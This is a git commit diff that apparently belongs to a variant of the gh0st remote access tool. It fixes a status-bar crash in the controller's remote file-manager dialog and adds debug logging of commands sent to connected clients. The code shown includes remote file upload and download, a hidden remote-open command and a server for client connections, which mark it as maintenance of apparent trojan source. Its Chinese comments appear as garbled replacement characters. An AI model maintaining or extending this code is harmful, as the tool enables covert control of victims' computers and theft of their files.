fix: 文件管理对话框SetPaneText崩溃,传输故障
This commit is contained in:
@@ -216,3 +216,6 @@ TestRun在写入开机自启动项时先提升权限,以防止因权限不足
|
|||||||
|
|
||||||
2019.8.25
|
2019.8.25
|
||||||
调整项目设置,解决采用VS2015编译时某些项目不通过的问题。
|
调整项目设置,解决采用VS2015编译时某些项目不通过的问题。
|
||||||
|
|
||||||
|
2021.3.14
|
||||||
|
修复了若干个问题。
|
||||||
|
|||||||
@@ -26,7 +26,7 @@ CFileManager::~CFileManager()
|
|||||||
m_UploadList.clear();
|
m_UploadList.clear();
|
||||||
}
|
}
|
||||||
|
|
||||||
void CFileManager::OnReceive(PBYTE lpBuffer, UINT nSize)
|
VOID CFileManager::OnReceive(PBYTE lpBuffer, ULONG nSize)
|
||||||
{
|
{
|
||||||
switch (lpBuffer[0])
|
switch (lpBuffer[0])
|
||||||
{
|
{
|
||||||
@@ -442,7 +442,7 @@ UINT CFileManager::SendFileSize(LPCTSTR lpszFileName)
|
|||||||
|
|
||||||
UINT CFileManager::SendFileData(LPBYTE lpBuffer)
|
UINT CFileManager::SendFileData(LPBYTE lpBuffer)
|
||||||
{
|
{
|
||||||
UINT nRet;
|
UINT nRet = 0;
|
||||||
FILESIZE *pFileSize;
|
FILESIZE *pFileSize;
|
||||||
char *lpFileName;
|
char *lpFileName;
|
||||||
|
|
||||||
|
|||||||
@@ -28,7 +28,7 @@ typedef struct
|
|||||||
class CFileManager : public CManager
|
class CFileManager : public CManager
|
||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
void OnReceive(PBYTE lpBuffer, UINT nSize);
|
virtual void OnReceive(PBYTE lpBuffer, ULONG nSize);
|
||||||
UINT SendDriveList();
|
UINT SendDriveList();
|
||||||
CFileManager(CClientSocket *pClient, int h = 0);
|
CFileManager(CClientSocket *pClient, int h = 0);
|
||||||
virtual ~CFileManager();
|
virtual ~CFileManager();
|
||||||
|
|||||||
@@ -160,6 +160,7 @@ BEGIN_MESSAGE_MAP(CFileManagerDlg, CDialog)
|
|||||||
ON_COMMAND(IDM_REMOTE_OPEN_HIDE, OnRemoteOpenHide)
|
ON_COMMAND(IDM_REMOTE_OPEN_HIDE, OnRemoteOpenHide)
|
||||||
ON_NOTIFY(NM_RCLICK, IDC_LIST_LOCAL, OnRclickListLocal)
|
ON_NOTIFY(NM_RCLICK, IDC_LIST_LOCAL, OnRclickListLocal)
|
||||||
ON_NOTIFY(NM_RCLICK, IDC_LIST_REMOTE, OnRclickListRemote)
|
ON_NOTIFY(NM_RCLICK, IDC_LIST_REMOTE, OnRclickListRemote)
|
||||||
|
ON_MESSAGE(WM_MY_MESSAGE, OnMyMessage)
|
||||||
//}}AFX_MSG_MAP
|
//}}AFX_MSG_MAP
|
||||||
END_MESSAGE_MAP()
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
@@ -1110,14 +1111,17 @@ void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen)
|
|||||||
|
|
||||||
void CFileManagerDlg::ShowMessage(char *lpFmt, ...)
|
void CFileManagerDlg::ShowMessage(char *lpFmt, ...)
|
||||||
{
|
{
|
||||||
char buff[1024];
|
char *buff = new char[1024];
|
||||||
va_list arglist;
|
va_list arglist;
|
||||||
va_start( arglist, lpFmt );
|
va_start( arglist, lpFmt );
|
||||||
|
|
||||||
memset(buff, 0, sizeof(buff));
|
memset(buff, 0, 1024);
|
||||||
|
|
||||||
vsprintf(buff, lpFmt, arglist);
|
vsprintf(buff, lpFmt, arglist);
|
||||||
m_wndStatusBar.SetPaneText(0, buff);
|
// fix: <20><><EFBFBD>̲߳<DFB3><CCB2><EFBFBD><EFBFBD>ؼ<EFBFBD><D8BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
// m_wndStatusBar.SetPaneText(0, buff);
|
||||||
|
// msg <20><>1<EFBFBD><31><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С,<2C><>2<EFBFBD><32><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>
|
||||||
|
SendMessage(WM_MY_MESSAGE, 1024, (LPARAM)buff);
|
||||||
va_end( arglist );
|
va_end( arglist );
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -6,6 +6,8 @@
|
|||||||
#endif // _MSC_VER > 1000
|
#endif // _MSC_VER > 1000
|
||||||
#include "gh0st2Remote.h"
|
#include "gh0st2Remote.h"
|
||||||
|
|
||||||
|
#define WM_MY_MESSAGE (WM_USER+300)
|
||||||
|
|
||||||
// FileManagerDlg.h : header file
|
// FileManagerDlg.h : header file
|
||||||
//
|
//
|
||||||
|
|
||||||
@@ -15,6 +17,16 @@ typedef CList<CString, CString&> strList;
|
|||||||
|
|
||||||
class CFileManagerDlg : public CDialog
|
class CFileManagerDlg : public CDialog
|
||||||
{
|
{
|
||||||
|
protected:
|
||||||
|
// <20><><EFBFBD><EFBFBD>״̬<D7B4><CCAC><EFBFBD><EFBFBD>Ϣ
|
||||||
|
afx_msg LRESULT OnMyMessage(WPARAM wParam, LPARAM lParam)
|
||||||
|
{
|
||||||
|
char *buff = (char*)lParam;
|
||||||
|
m_wndStatusBar.SetPaneText(0, buff);
|
||||||
|
delete[]buff;
|
||||||
|
return S_OK;
|
||||||
|
}
|
||||||
|
|
||||||
// Construction
|
// Construction
|
||||||
public:
|
public:
|
||||||
bool m_bIsStop;
|
bool m_bIsStop;
|
||||||
|
|||||||
@@ -521,7 +521,17 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
|
|||||||
VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength)
|
VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength)
|
||||||
{
|
{
|
||||||
assert (ContextObject);
|
assert (ContextObject);
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
if (ulOriginalLength < 100) {
|
||||||
|
char buf[100] = { 0 };
|
||||||
|
if (ulOriginalLength == 1){
|
||||||
|
sprintf_s(buf, "command %d", int(szBuffer[0]));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
memcpy(buf, szBuffer, ulOriginalLength);
|
||||||
|
}
|
||||||
|
OutputDebugStringA("[COMMAND] Send: " + CString(buf) + "\r\n");
|
||||||
|
}
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
if (ulOriginalLength > 0)
|
if (ulOriginalLength > 0)
|
||||||
|
|||||||
Reference in New Issue
Block a user